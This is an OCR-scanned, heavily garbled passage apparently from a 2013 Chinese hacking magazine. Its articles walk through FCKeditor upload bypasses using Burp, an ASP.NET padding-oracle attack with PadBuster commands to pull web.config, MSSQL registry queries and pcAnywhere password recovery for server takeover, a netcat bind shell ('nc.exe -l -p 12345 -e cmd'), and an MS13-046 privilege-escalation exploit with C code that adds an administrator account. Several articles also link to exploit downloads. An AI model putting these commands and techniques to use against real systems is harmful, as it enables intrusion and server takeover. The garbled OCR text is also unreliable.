WebEE(S) <V & it B % | £ awem | & axw

L ETT e | Textien | o | resyen
=ja 00 HITP Hoiit e om.cn Al cmnFlredtoe
=1 0 HTR veori GEERCOT.Cn fammmciin FCreditor : _
2 w0 HIP S AT, jagciin FCK ecitor s i
,ﬂ!- 200 HTTE task. browser, 380 fordne setpoint Cosmand GetFoldezsandFiles

4 - HTTP YOAW. ¥ K ‘dﬁz‘."’fl@d [ Tree File
L E— ; = FCersentFolder /na as2

wuid 1372321908882
+

Kl 3-1-36
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AR E oK &Y, K 3-1-37:

] 11 asp
f:_]'l asp
11 asp

.:] 8 _asp
BT F1201206271546575601.ipg

K 3-1-37
7 8.asp L —HJ1EE D upfiles/file/8.asp/FI201306271633432192.jpg
SEJJEFE http://www.xx.com.cn/upfiles/file/8.asp/FI201306271633432192.jpg, 41 3-1-38:

B smmneain. | v - m—

] d: \wwwroot \@mmiaepfiles\file\8. asph

i BR ), XMW B B
e C: ) n_asp 20
E % D: %, FI201306271633432192... 20
= I wwwroot
ClmE
B I upfiles
= file
B0
() n_asp
e E:
< F:
e G
e H:
3-1-38

Hik=
X FH burpsuit  YIEI JAR HE T 1247 java -jar burpsuite_pro_v1.4.07.jar #tH] LA
KINEMACE —T, 1k’ 3-1-39:

ERGE e
EREEERRGEE
O FAEY)
O BEhElHESHAEEEW)
D BREHABEEW)
@ FhioE AR : (1) :
HTTP {3 : (X)  127.0.0.1 w0 (P) 8080 :
SR R S RHARI AR
3-1-39

BRINHZE ON UL 2 BN C AT T BT AR S — NER S R A R Ry
ZFH AT 2% forward, W& 3-1-40:
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Llakns D e I

| about:blank equestio-hitpHvwwenniiiiiRac0 (IR

R:;nurceTme - @! ‘ forward H drop |‘ interceptis on H action

raw ] params rneaders I’hex |

GET

/il in/ FCKeditor/editor/filemanager/ connecto
&CurrentFolder=%2F&uuid=1372323616354 HTTP/1.1
Host: vwuw. o . Cn

User-Aigent: Mozilla/5.0 (Windows NT 5.1; rv:21.0
Avcept: text/html,application/xhtml+xml, applicat
Accept-Language: zh-cn,zh:;q=0.8,en-us;q=0.5,en;q
ldecept-Encoding: gzip, deflate

Referer:

hetp://wuw ooy . cn,/ wEEgin/FCReditor /edito
5343 2F%32Fwwy. . com. cnt 2 F ol in%: ZFFCEeditor,

K 3-1-40
HEHI R E e, Wk 3-1-41:

Type the name of the new folder:

| 5. a=p |

. wE || B

K 3-1-41
M forward J5 HHELXAS, WA 3-1-42:
request to hittp:/www smem.com.cn 20 |G

forward ” drop interceptis on action

raw rparams ]’neaders r hex |

BET

/o cmin/ FCKeditor/editor/filemanager/connectors/asp/connector.asp?Cor
ntFolder=3%2F fNewFolderName=5.asp&uuid=1372323694317 HTTP/1.1

H . LI . I

User-Agent: Mozilla/S5.0 (Windows NT S5.1; rv:21.0) Gecko/20100101 Firefo:
Aeecept: text/html,application/xhtl+xml,application/xml;q=0.9,*/%;¢q=0.8
Aoceept-Language: zh-cn, zh:;g=0.8,en-us;qg=0.5,en:¢gq=0.3

Aocept-Encoding: gzip, deflate

Referer:

hoep://vow ., e o, cn/ esssinin/ FCEeditor/editor/filemanager/brovser / de
$3A%2F52Fvwwy . wecom. cnk 2 FillReei n% 2FFCReditors ZFeditork2F£i lemanager!
4]

Cookie: ASPSEISIONIDCCCTCCDE=LHAEFFNEAPABFMOOGHOHEFGC: Admin=563;
URL=%ZFunessiwin: ZFproductiZFopupricesSFlistsZEaspi3FepyiSFypesiDall
Connection: keep-alive

B 3-1-42

%2f i / SR

FTRENT, WE 3-1-43:
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forward M drop interceptis on ation ‘

= raw ‘ params ‘ headers | hex

GET
/' HECRedis
ntFolder 12F5|a3p NewFolderName=5,asp&uuid=1372323654317 HTTP/1. 1
Host: www N sdil

| about:blank

R;ls:urce Trpe - @f ‘ forward ‘ ‘ drop ‘ ‘ interceptis on | ‘

raw rparams rheailers rhev.

lag
] Basp
F201306271611382332 asp:1%00ipg

B 3-1-44

(&3058) TUiESiE: BEVEMIAE
% 2¥iMS10-070 ASP.NET Padding Oracle {5 & it & % {H

E#&: B
KH: BRI IE-FAckTeam
Pk:  http://team.f4ck.net

g

TR XML 12 SR, B AR EERR IR, MEE R 2 fEREEHR TR, (H2E N
Y EM RN R R A 2, HREILEW 2/ T, ALF LEA 2 LR R,
SeAl Lok 51 e . B R

ms 10-070(ASP.NET Padding Oracle Vulnerability)exp & ] 7772%.doc:
http://pan.baidu.com/share/link ?shareid=4150084745&uk=103985760

V&R Padding Oracle X il7.pdf:
http://pan.baidu.com/share/link ?shareid=4155484229&uk=103985760

WRJE, fE 134, XANWFRAREEHERLR 7, REa B2 AKNER T, RZUANER
B R a2l — T 1
YREXH, T yaseng 7> HOF LS

CF#hE) http://pan.baidu.com/share/link ?shareid=4162167295&uk=103985760

RJE R In B AT — 28 NAE XN R, R IR AN R ARG I, AR N RHE 4 1

w20 T /3t 89T BB httpi//tag.com/hackcto MR M 150 EM: 20T


http://team.f4ck.net/
http://pan.baidu.com/share/link?shareid=4162167295&uk=103985760

(E5%) — B R BT B Mk www.hadkcto.com Z& &% 5 . HACKCTO-201308-8

IR R 8 A

ASP.NET H T4 78 30 E I A2 AL B R A Y, B —ME Bitts s .

FSCTI FH S IR VIR 0% 0 o 2 P DAz HRUIR 25 #8045 0 s, 49 iR LIRS

IR AL AT DL T3 B, W SRR R, T R T A A B AUIR 55 88 s 1 i

FIR I 738 To iR A G R VR R A 720 i B AR BB B A AT T ) P BRI VR T
TE B, XUE B0 H T — BB 2 24 .

Vi a7 B, R IX AN AN RE B2 getshell, {EEFES b T DUR A& 52 HU M 36 _FAF & S0 1
(RS, B K PE T B S A

FIH T ERIFHFBE:

I RFH TRT, THRBICEAERIEMAED, HEAR T, MHEF L.

padBuster.pltxt : http://pan.baidu.com/share/link?shareid=4214447663&uk=103985760

Webconfig Bruter.pl.txt : http://pan.baidu.com/share/link?shareid=4215488526&uk=103985760

2 N THAR perl B, AT 2RI EHLAEAM 223 perl IR,

perl PAEE NE3bAL: http://pan.baidu.com/share/link?shareid=4225247569&uk=103985760

PR T FF ) perl /& “ ActivePerl-5.14.2.1402-MSWin32-x86-295342 7, i1 & i perl F
AN 5.16 B, IXARRAS 2 S W PAFATIX 2 A T ERBMNK, W RATIE U th b
2 BRI i 1T R RRCAS () perl:

53R IFIRAN perl: http://pan.baidu.com/share/link?shareid=4230869030&uk=103985760

WA R
Tﬂfiﬁ Acunetix Web Vulnerability Scanner 7] L4 2IIX AP, 540K, & 3-2-1:

ASP.NET Padding Oracle Vulnerability — FHigi¥

Vulnerability description

ASP.Met uses encryption to hide sensitive data and protect it from

tampering by the client. However, a vulnerability in the ASP.Met

encryption implementation can allow an attacker to decrypt and

tamper with this data. This vulnerability exists in all versions of

ASP.MET.

This vulnerability affects /.

Discovered by Scripting (ASP_MET _Oracle_Padding.script).

Attack details

Acunetix detected this vulnerability by comparing the HTTP

response status and body for two different requests (one request

when the padding is incorrect and another one where the

encrypted text is notwvalid). If the body ANDIOR status are different,

this vulnerahbility can be exploited.

K 3211

H 7B I HI R AR ILIX AN TRIR 4 TR, BrbAit, BRIk web JRiRFHE T RAI)
P4, Acunetix Web Vulnerability Scanner &2 5 AN 1), B AR P B A O 2 6 1) — i
SHEA .
338 WebResource.axd:
XA A ) e o B i — Al 2 34K WebResource.axd, R )35 A& -3 9935k o o] BE A7 AE

w21 T /3t 89T ETMIE: httpi//tag.com/hackcto MR M 150 EM: 20T




(E5%) — B R BT B Mk www.hadkcto.com Z& &% 5 . HACKCTO-201308-8

1%} WebResource.axd 151 FHl, X J9Muki o 5] H] WebResource.axd I & 2 7 H R AT
BT, RN

WebResource.axd?d=9MBwmxN6TLKjC8S3Cd FGyw?2

PATER PR A S d BE, R T E2G AN 24, AFEMES,

X~ WebResource.axd AN KP4, HBHMEIRARALAR], R NRL, VibER, HEFEMY
BV E] T WebResource.axd, WIH A MGEAT, HASEMISE B AL B EEER R, (H
AP A R — EARAE,

AT PAf#E ] Acunetix Web Vulnerability Scanner X o sab it — /MR FE 4= 5 AL R 434, 5 AT A
FEIXA AR E, W Acunetix Web Vulnerability Scanner 3] 7 iX AN SCAHFIALE, &42
IRTEMEAS T A, 7E Acunetix Web Vulnerability Scanner 353485 5t b i SC 151 36 s A2 2
A LA #275 3] WebResource.axd FI'E IS EFIEN, XFEHLT (R Z .

RIAFIAE—2: padding H7E:

2| WebResource.axd ZHIMEHZ 5, AT UIHFIERIAH T o 22250 perl 28855, $47:

Padbuster.pl http://team.fAck.net/WebResource.axd?d=9MBwmxN6TLKjC8S3Cd FGyw2
9IMBWmMxXNG6TLKjC8S3CdFGyw?2 16 -encoding 3 -plaintext"| | | ~/web.config"

(D

X 16 NEAMNBIERITEL o8 8 Al 16, H BT A NIE A H 41 1) 5 1 H Wik A 7

HL AR R KA LA S — N R Z 0N 16).

encoding ZH(H 4 #F, 4 Jl/& 0=Base64, 1=Lower HEX, 2=Upper HEX 3=.NET UrlToken,

4=WebSafe Base64, HTAXMA N asp.net, P LUK HEIRATIEEE 3.

plaintext AAEEEE N A SCHE, AU LL web.config N, G 3-2-2:

o C:\TINDONS\systen3Zicemd. exe — padBuster pl http: /9% == pu onFohResource. axd?d=. . . [H=] B3
B

G:~»padBuster.pl http:/~ ~UehRezource . axd?d=URAkagLAGYbATEvs=z3Fr81 IHd?l

ZHglil kMo EK1i pLECDaNmg—1 kBHr—YWZ 16 dxREUFDBESAJ66NEgHA7HDELS g_ot5—-E4il_QUG jpZ6HAFUg

tf QhueJ8rL4b6REQ7mBh?HA WURAkagLBAGYhATEvs=3Fr8I IAdYZEg11i] kMo EK1 pLEGCDaNmg—1 kBH»—YW

Z16dxREUFDBEAJ6GNEgHA7HDELSg_ot5-E4il_QUGjpZ6HAFUgtf Qhue JBrL4b6REQ7m8h?HA 16 —-en

s

coding 3 —plaintext "iii™/web_config"

PadBuster — vB.3
Brian Holyfield — Gotham Digital Science
labhsPgdssecurity.com

INFO: The original request returned the following
[+]1 Status: 208

[+]1 Location: N-/A

[+]1 Content Length: 2158

INFO: Starting PadBuster Encrypt Mode
[+]1 Humber of Blocks: 1

INFO: Ho error string was provided...starting response apﬁf

B 322
PAT L e, BERE SRR, WE 3-2-3.
XA EFRATIR S — N NARE S, IF B ROR B HEREN), B4 X g S P 4EAE 1) 2
SR, L (IR EE A, BN Rk G 1), il 3-2-4.
FXHE, #ES T web.config [ URL [fIhns k.
N ELZ _E Webconfig Bruter.pl 4k 2358 78 38 B 58 2 1 U5 19 i dik 1 o

w22 T /3t 89T B TMIE: httpi//tag.com/hackcto MR M 150 EM: 20T
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INFO: The original request returned the following
[+] Status: 288

[+] Location: MN-/A

[+] Content Length: 2158

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 1

INFO: Ho error string was provided...starting response analysis
Response Analysis Complete s

» Following vesponse signatures were returned:

Freq Status Length Location

588
88

Enter an ID that matches the error condition
NOTE: The IDB marked with =% iz recommended :

K 3-2-3

ATINDOYS \systen32icnd. exe

45> [Byte 121
46> [Byte 111
173> [Byte 181
45> [Byte 21
27> [Byte 81
117> [Byte 71
31> [Byte 61
(169> [Byte 51
194> [Byte 41
1> [Byte 31
(69> [Byte 21
(38> [Byte 11

[+] Success
[+] Success
[+] Success
[+]1 Success
[+]1 Success
[+] Success
[+] Success
[+] Success
[+] Success
[+]1 Success
[+]1 Success
[+] Success
Block 1 Results:

[+]1 Mew Cipher Text (HEZ»: 4a3673hiB8ab31a?88bhc?47462ff77385
[+]1 Intermediate Bytes (HEX)>: Jb4aBfcfab147f1225aa282847701484

»*%x Finizshed e«

[+]1 Encrypted value is: §jZzs¥pjGnALyldGL_l=hQARAAAAAAAAARBAAAAAAAAT

3-2-4
RIRAF A =F: 44k padding AR IHIHIEL R :

AT

Webconfig Bruter.pl http://team f4ck.net/ScriptReso urce.axd XXXXXXXXXXXXXXXXXX 16

KA LRET R

1. URL J5ERAJ /& ScriptResource.axd, /& WebResource.axd |

2. FIXESHT XOXXKXXXXXXXXXXXXXX A 5 — D15 B BN 3 57 8, AR A M RS e 15
IS4 d BME, WKl 3-2-5

% 23 7 /3t 89 B http://t.qq.com/hackcto  HARHA: FH 15 H THr: 209G
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ebconf igBruter.pl

Uze: Web.config_bruter.pl ScriptResourcelrl Encrypted_Sample BlockSize
Where: URL = The target URL <and gquery string if applicable?
EncryptedSanple The encrypted value you want to use.
This need to come from Padbuster.
BlockSize The block size being used by the algorithm (8 or 162
Poc code by giorgio.fedonBPmindedsecurity.com
Original Padbuster code from Brian Holyfield — Gotham Digital Science

Command Exanple :
AHeb.config_bruter.pl https: -127.8.8.1:8883ScriptResource.axd diARvnoBiSAGEz
PEACEARMAyIBpXBa2 16

C:s2leboonf igBruter.pl httpirss B “SeriptResourecel hogl =2
=hQARARARAAAARAAAAARAAAAL 16

K 3-2-5
FEE Lol WARTRA, WAEEUH FESEMA AN, REMSR] T RAWINEZRFE, W
K 3-2-6:

oy
7K?-7 ol
.*E?W

Total Requests:-4984

Resulting Exploit Block:D=Y_D_OM3dpsB-tlo¥s HiBu2c?GHYxpuC i~

K 3-2-6
OK, 1CUFXANINE A58, AFH W YA 1)«

http://team. f4ck net/ScriptResource.axd?d=XXXXXXXXXXXXXXXXXX

KRG JLAEEE:

1. URL FEEE‘JE ScriptResource.axd, A~Fj& WebResource.axd 1 .

2. FRIXHLE T XXXXKXXXKXXXXXXXXXX A2 58 2015 B N8 247 e, AR AE M TURES R 45
BN d BME, WARE—DEBIMINE TR 5.

XFERAEE] T web.config (VRS T, & 3-2-7.

BARIXHRE, R, AFEEZKINEN, & EhpgEmier PLEnE, FIXRN TR KT
4984 MUHASF| T IR KEY.

w 24 T /3t 89T B TMIE: httpi//tag.com/hackcto MR M 150 EM: 20T
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@ Moxilla Firetox — b 5] el
ZoE WEE ERY GRE BEE IAD RN

=ikl
httpef, o el ARARAMAAMAAMAAD | 4

rerg— c||B- ceogi 2+ &
[INT +]ee squ 55 Encyption: Encoding: Other-

) logd UL | Iipe/ 10793471/ Saipthascurcvandid= indenl-titori elle WiSteongreetJinily [pedosteiyiotiyityiyhyintyit i

& SpltURL '
S

Enable Post data Enable Referrer

{7xml version="1.0" encoding= UTF-8"7>
tconfiguration> B
Crmmb s @ asw ] e

B 3-2-7
FHELE A, ZHESE T .
(2358 e FEvEl A%

FIE BFRTET

F 1% F|H Mssql+PcAnywhere 31

fE#: christ

KH: EEWIE - FickTeam

Pfk: http://team. f4ck. net/

T AN EE IR I, S0 R R AT LA RS 0B .

PR, S — AT I B, — AN R —AS GOV sk, i mf DA F AL AR A 21 % A%

Eﬁﬁ)ﬂ:f?):'ﬁT%é'ﬂ:ﬁd@? CAER oA, I ET G 0 SQL AR Tk S, o Bk
Wk 4-1-1. s BARSCHE, SETDER, Wl 4-1-2,

BEREHR: sb o TE B
ol EEEE
HE, [mx
.. . H
B zmmn FiEER ZREMES [+]
2 paoE
g TR ;
i -
. T
2 ey W [REZM] RnEwH ity Team
19 16€
g W eI
K 4-1-1
10 D Aewwroothzzscbhwwnr oot \news fuji and v Em
BL 156, 45. 15 EE AR T £ il b Et
- Dl JRG 2012-10-24 10:54:438 37008 32
O % D: —
2] E wwwroot UZ.IPG 2012-10-24 10:55:07 209992 32
B 53 zes1b 2012-10-24 10:55:22  2BATY 32
5 5 mwwroot 4. JBG 2012-10-2¢ 10:95:32 30043 3z
- @ DE JFG 2012-10-24 10:55:43 41622 32
e
o @ 1. cer 2013-07-15 22:58:38 24074 32
IE]SEU exe 2013-07-15 23:27:29 40960 32
| 4. asp 2013-07-15 & FEH]U"’ 32 ‘
B emd. txt 2013-07-15 §3: 38044 23000 32\_@
) SR (2013) 108 doc 2013008 10 J0-25 053t by P gy
- ity 1eam

K 4-1-2

w5 25 T /3t 89 T B, http//t.gq.com/hackcto  HHARHBI: FH 15 H EM: 20 7T
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EAERE, HSSXA WU, ANSCRF php, ASCFF aspx, ASCRF jspe EARR asp K5
Ja, TP EA, ZAZWAT, bET - IMATESEMEK LR TE T T, 2anl PLA
AR HEPATA T, FERBLI A, 2R B H 3%, (A B3R AR E Mssal #H4, /& SA K™, B
U7 T, B SQL Ao M ds i, Fin 1, 3389 IT ARSI T, i 4-1-3:

zp_RegelunKeyS "HEEY LOCAL MACHINE', ' SAM\SAM\DomainshAccount\Users'\Names'

|
\SubKeylane /7_ L AL L y _2
1 Adminiztrator ES
2 | ASPNET , \J
3 |Edrea .aﬁ.d [ EH nl

4-1-3
g, TRBUN T, EEHE 3389 i AEXR IS AT, EEA L, WK 4-1-4:
nRESEEE =X

'6 EREEETUTFR EEsEIn R B

1) FEAMRSEITTEEA
2) BRI ENERA
3) FEME DR S A

BETTRTETEY. EEENETEERTEhE.

( e —:ff:
[ {ﬁ_E [ Esam FSmantec pehnywhere. LHE

B 414 E 4-1-5
raR H, Wi 4-1-5.
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere

JXAME PeAnywhere MIERINZ &R R¥E BELBCA BN, HATHEAIY H3X Host, Q1]
4-1-6:

it~ :  C\Documents and Seftings\All Users\Application Data\SymantecipcAnywherethostst
HEBHRE TRERFEE BRI MiFHE HRRER(E fhiTCmm

» HE: Qv @g7 New IEEBEEE R

2

[XjCALLERS. DX

[#lDirect. bhf

Hetwork, Cable, DSL. bhf
[ZIFCh. adnin. CIF
ei CIF

K 4-1-6
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BATTLLE W A —A PCA. tangwei. CIF IXANw M H P 2 %3S (admin (2511 _EA%
1), BATF#E TR H pcanypass %, WonTLIEME T XA T bl 5
AT, K 4-1-7:

C.Ougl(f pcanypass L “

=l & HE BEf~ #FIE

HiFEE) 23,500 £HEF (FHAT 029 3

T RETFHEDTER - SrLEEETEEENMEES

PCAnvwhere Pass\View v1.12 - Recover pcANYWHERE passwords

www_nirsoft_net/utils/peanypass.html ~ ShFHE r _
Description. Symantec pcANYWHERE has 2 different types of passwords: For 3l t) g5
of items: pcANYWHERE allows you to protect an item with a password (in ... y Team

B 4-1-7
Jm 2 WA google HIBHTE, Wl 4-1-8:

Bl

MRERETAE, B BN REERIT —TueNRATR, RS EP A nirsofertvahoo. con

PCAnywhereff1PassViewiZ}V1. 12 4 (17KB) ' \E
q: ity Team
K 4-1-8
T%EE@E%KT, MEBNLAH HHN—"T7k, fTJF PcAnywhere, WKl 4-1-9:
e BE: o
) thiEiEE - Hetwnrk, Cable, DSL: TCE/IF
2 E S E iR '

TCE/TF

g e <
& HeiEs / Team

M= 2Rl Fl

4-1-9
REN RIGEFILHE DTN, Wl 4-1-10:
lERns - s x|
antee pernpvhers ERERIEIHNNTETUFREY |

" , symantec. s ST " e, BB e o e

TR B, —
] P L T2
. ' ﬁ(‘.*ﬁ{@ﬁﬁ Afﬂﬁaﬁ Hindows M (#)a

B, FeE CT—F .

< k= E) I"F—“'F () >I HPJI%""""" '''''''' "

4-1-10
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b e NS ] SER A Tk N SR ELI )

HABRIERN RGN — 2 IR %3 T PcAnywhere HIAHL T

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\Hosts
ALENR, K 4-1-11:

Hutk @ | ) C:\Documents and Settings\A1l Users'dpplication Data'\Symantec\pehngwhere\Hosts

B - [ PN [#5ER [t ]
EEEH‘L. EMF 9 KB pehnywhere Be H .. 2013-T-16 0:43 A

B PCA. adain CIF 11 KB pehnywhere Call. .. 2013-7-18 0:43 A

b Metwork, Cable, DSL. bhf 9 KB peAnywhere Be H. .. 2013-T-16 0:42 A

b loden, bhE 9 KB pehnywhere Be H .. 2013:7-16.0.42 A

b Direct. bhE 9 BB pechnywhere Be H... 2 |3'fl"1E- 042 A

%EM.T_ERS. iiFe 1 KB pehnywhere Call, .. |3I‘!=15 0:43 A 4

4-1-11

BATAHARAT —A> CIF AL N2 ST, FRATT A% 21 X3l il 45 2% b Ix AN H 3%, n ] 4-1-12:

B

[XJCALLERS. TDX
[XDirect. bhi
g-:-f— . BHF

[IMeden. bhi

[{Hetwork, Cable, DSL bhE
[ZIFCh. adnin. CTF b
PI:.I,L tangwel, :I_.f _

4-1-12
TEABAHL PcAnywhere BRUCAHTRATENE T —ANH 7 U admin, ZA0HH admin, FRATmHRE
ER, Wk 4-1-13:

pcAnywhere. & s symantex

m.
.Z
| B
T'j
-
i
"
II

R

Efirmcntec petarmbere = Eom s e [
Go NRFREEY retorhere T0R

B hrsmE s

B = APE W
&) b J

& Heigd FW E):
#EEAR

8 pokayshars TR
H e

T soEens

B mn |

BAMES, itHALSHER Tce/IE M, BERT CER o)
[p1.156.45.18 x| | EED

TR PR

4-1-13
W58, #2 adnin, EEEERE HURMRSAE MBUE 7 RERNTHIADT AL T 1)

w 28 T /3t 89T B MMIE: hittpi//tag.com/hackcto R M 150 EM: 20 T
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Edrea Mk'5, EHEREH OK T, WK 4-1-14:

EREH

FEEETARE:

(L

B B

4-1-14
LXE RIZENM MERE 3389 AReidiE 1, AEBILE R iSRG 7mE 1R K
WHHE A K TRRINE D), BRI E G BNAHASHET .
(£358) Ti{EYmtE: Silent

B2 ¥ 02 LR RS PG R 8 SR GEE

fE£&: 1 Two
KH: BEWIE - FdckTeam
M3E: http://team. f4ck. net/

E:

o 1 2R TR (AN NBRAR):AEA e i R D Re SO0, AT 0 Dk . b DLTA 4S8
PR IEW T KB, SRR I R SRR A . . FRATTIE 3389 #5 K B 80 i I HEATERE, W]
DA, AH R IXFEM AT A T o v VR ER R k2 5, #— ip, Msi—FEnT
DUATHF . 1% B R R % R I IS IR 55 28 BCA ML T AN IBAN sty 1, {ELZ ) B H o ] LAFT
T EAUPR System RUR, —MEIERFARER:, MUHACKRMKS T, BUIRARERE, &
SO A 370 R S PR A L

ot FE:

e ne+ii A TR HERITS B, Wi 4-2-1:

.......................................... . | === install. bat
Changeport. exel drivers. exe % Ms-D0S $itahIEcr it
1 1E
uninztall. bat
% Ms-D0s HESRIEIr
1 KB

nc. exe

10

rity Team
K o421
nc S emd Hi, C:\RECYCLER\nc.exe -l -p 12345 -t -e C:\RECYCLER\cmd.com Z<Hh telnet
HEH PATIRBL expinstall.bat, ZAJE7EFTFFAS ecmd, I217 telnet M3 ip 80 :telnet
123.13.12.123 80, IEFERINJG 56 Ctrl+] #RJ5 Send chkroot2007. . . IXFEM AT LG s A3
BT 123.13.12.123:80.

% 29 7 /3t 89 W1 BBE: http//tgg.com/hacketo  HEZHM: A 15 H & 20 G
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Q:i:

Wf(&shellﬁi‘iﬁuﬂmﬁexp install.bat, 2R J5 F- 4R J5 FEFT T emd, 1847 telnet X3k ip 806 o
X IR IEA b, PSS ne ORISR, RO ERAE. .

ps: 5 FH b LB R DU S o o o B AVEE LTS ENLIAE, R, HE—mate 7.
B # b hk:  http://pan.baidu.com/share/link?shareid=3741807696& uk=1211196682
(&358) JifEgwEE: Silent

3% MS13-046 EXP

fE#: uing07

KH: EEWEE - FdckTeam

M3E: http://team. f4ck. net/

T Z AT MS13-053 AR IX AN EXP X R, R MS 48N T g — KA T

TWAKAEA H Patch Tuesday &Il 7 & AT T LI Ah T

AR 2245 %5+ http://technet. microsoft.com/zh-cn/security/bulletin/MS13-046
MATE AT ELE AN Win XP 2] Win2012 £4t115%25000, JE HAJRR T x86 x64 16, 1A ¥ &
1 Win RGAEZ 25, kKl 4-3-1:

& C\Windows\system32\emd.exe = En @ C 'ndows\syﬁerrﬂl\cmd.em
Py

Allocated 599 HRGN ohjects - £t Windows 7

[Flattening curves... H (o) 2009 Microsoft Corporation. §
Matchdog thread 3912 waiting on Mutex
No luck. cleaning up. and tey again.. fiC: \Wsers\Guest>uhoani
Mutex object did mot timeout, list not patched uwing-pchguest

istart CreateRoundRectRgn
Hatchdog thread 620 waiting on Mutex C:\Wsers \CGuest Pnet user
Allocated 628 HRGN ohjects
Flattening cumves... Al\uinc-pe [F1F Pk
Mo luck. cleaning up. and try again..

Mutex object did not timeout. list not patched
istart CreateRoundRectRgn

Matchdog thread 2448 waiting on Mutex

Flattening curves...

No luck. cleaning up. and try again.. E
Mutex object did not timeout, list not patched =lC: \sers \Guest dnet user
istart CreateRoundRectRgn
1located 708 HRGN ohjects \wINg-PC IR P
Flattening curves... _
Matchdog thread 1532 waiting on Mutex e e e e e e e e e e e e e e e e e
Mo luck. cleaning up. and try again.. i . Cuest

Mutex object did not timeout, list not patched i UpdatusUser

istart CreateRoundRectRgn

Hatchdog thread 796 waiting on Mutex

SlGC: \sers\Guest >
Mo luck. cleaning up. and try again.. i
Mutex ohject did not timeout, list not patched
lstart GreateRoundRectRgn

Matchdog thread 2784 waiting on Mutex
Allocated 3932 HRGN ohjects

Flattening curves...

No luck. cleaning up. and tey again..

Mutex ohject did not timeout, list not patched C:x>net user silic silic111122223333!CK sadd /ye:
istart CreateRoundRectRyn

Hatchdog thread 3992 waiting on Mutex

).
h @ EER: C\Wmdows\SystemSZ\cmd exe

C:\>uhoami
InterlockedExchange (BxB01c0A86, AxBABSa6eB) ;Exploit ok run command nt authorityssysten

1C:\> —_— :C:\)_
i—
3 € NN -

B 431

EXP F#k: http://pan.baidu. com/share/link?shareid=2575907459&uk=704677280

VRIS HbE: http://pan. baidu. com/share/link?shareid=3747172592&uk=1211196682

M PEIF ). http://pan. baidu. com/share/1ink?shareid=3743966836&uk=1211196682
(&58) FTfES4E: Silent

w5 30 71 /3t 89T EMIE: httpi//tag.com/hackcto MR M 150 EM: 20T
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477 FTH MS13-046 A~ EE webshell $4T-1

fF?ﬁ: guset

KH: EEWRIE - FickTeam

M3E: http://team. f4ck. net/

UL AR B 07 Y bR M MS13-046 EXP (LA 3 Fikafh)

WRRATHIX AN RZE . ITIER|) xss 2 7, ERHAFELIE . Pro B AHHoRBERE 1. Hi
SRATHON G, FFAEE . BRI

exp WAL RN FEM . Jo— A BE B, FUEANFE LG FR, R—BEBCREAEC.
WHATEE R RZA B AU,

ShellExecute( NULL, “open”, argv[l], argc > 2 ? argv[2] : NULL, NULL, SW SHOW);
EHfET 4] [EPATHRETA] [ SE ) ]

epathobj exp32.exe cmd “net user 111 111 /add”

07 25 I F | H A R EHATIFE R Z & emd. A BIKIHAT 32. exe emd “net user 111
111 /add” B R AZAE emd #RHR T, FFEBATRHIIA - o B2 REH AN . TG
LA LT 17, WKl 4-4-1:

—»flags @ B
Creating complex bezier path with eB888
start CreateRoundRectRgn
Mllocated 545 HRGN ohjects C: “wmpuh>whoani
Flattening curves... nt authorityssystem
Watchdog thread 2584 waiting on Mutex
InterlockedExchange (AxB0eBBBBAA,. BxBAAS6c4B>;;Expleit ok C:wmpub>net user

C:wmpub>32.exe cnd “net user 111 111 ~<add"
Nlllocated userspace PATHRECORD <> BAEBRSORA

—>next 0@ BOEGBOEO

—>preu @ 42424242

—>»flags @
ICreating complex bezier path with eB888
ztart CreateRoundRectRgn
Allocated 528 HRGN objects C 2 “wmpuh>a,
Flattening curves...
Watchdog thread 344 waiting on Mutex
InterlockedExchange (Bx80e00800, Bx88856c48>;Exploit ok

C: “wumpuh>

K 4-4-1
G FX AN — DN AR LR /E webshell BRI ATATE & FAER end 34T, TRA
HZE W — AR 7 — T, W 4-4-2:

System Command
Shell Path: cmd.exe
Command: C:\wmpub\32.exe C:\wmpubycmd.db

Execute System Command

Alllocated userspace PATHRECORD () DOEDDOOD Shell Path:
next @ ODEOODOO 3
prev @ 42424242 ECITRE T
1 I

ags @ 0 =y iy=F HE
C ng complex bezier path with e0D00 ] F:
start CreateRoundRectRan 3 Command: whoami
Allnrated 419 HRGN nhjerts h i ,m
Flattening curves... .
Watchdog thread 2996 waiting on Mutex

InterlockedExchange(0x00e00000, DX00056Cc40);Exploit ok
run command

4-4-2
AR LR R R A 2 ENZRE. MtalRE ST . FHEEWH, [BHAERF
2] [EPATREF 4] S8 2) JaPATIRT - ARESERBAS emd #HIK . IXFR
JHRTE emd BT, FEEKEZ A 1.

9 31 5 /3t 89 mUMIE: httpy//tgg.com/hackcto  HURHAM: AH 15 H  5Ef: 20 76
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HrplE il TR ZINE, ), BB . BRFSMEE. A2U 7, HLFEFER
5o AP RIATHATIE RS, WEATH S — Mt 7.tk —BUnA -

#tinclude <iostream>

#tinclude <process. h>

/*

R I—ANK S f4ck BALA f4ckf4ckfdck FIH P
*/

using namespace std;

int main()

{

system(“net user fdck f4ckfdckfdck /ad”);//EINF fdck 9N fdckf4ckfick
system(“net localgroup administrators f4dck /ad ”);//F8 fack ZINE|E

}
XA ad TIAGE add #9JRE B2 A AR e 0 5 38R 7o gl 4-4-3:

it

Cvs O #EEnHI

TRk
RESEE . Clwindows\SysWOWe4\net.exe
MR A fdck

-alsh2.exe

'net localgroup administratoryf -k ¥Fagd ™) ;

K 4-4-3

LI R HaEanE W WERE

S ing BAmSSpace SLd

& 4-4-4
W lE)9E 1, FREEL T IEm IR SO E R RATERAUN R T, BEMATHIN
\\F4CK-73C3MCB46M (1 FH fiflg j

Administrator Guest SUPPORT 388945a0
2 I 5E -
C:\Documents and Settings\Administrator\s[H>

w32 T /3t 89T B TMIE: httpi//tag.com/hackcto MR M 150 EM: 20T
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FATILE webshell BHIBATEAN AKX, W 4-4-5:

System Command \\FACK-73C3MCB46M 1 P

Shell Path: cmd.exe
SUFPORT _388945a8

Execute

Alllocated | userspace PATHRECORD () ODEDDOODD C:“Documents and Settings“Admin istl-atm-\%@)net user

\NF4CK-73C3MCB46M [ F Pl P

L] cumplen bezier path with e0000
start CreateRoundRectRgn

Allocated 565 HRGN objects Administrator
Flattening curves..

Watchdog thread 4068 waiting on Mutex S-UPPORT J88945ak
InterlockedExchange{0x00e00000, 0x00056c40);Expl G

run command

GC:“Documents and Settings\ﬂdninistvatm‘\%@)

K 4-4-5
BRI IR iR E R A A
HIX H AP IR H AR S . webshell $UATH4, IREHIE, SANBIMAHP T, HERS
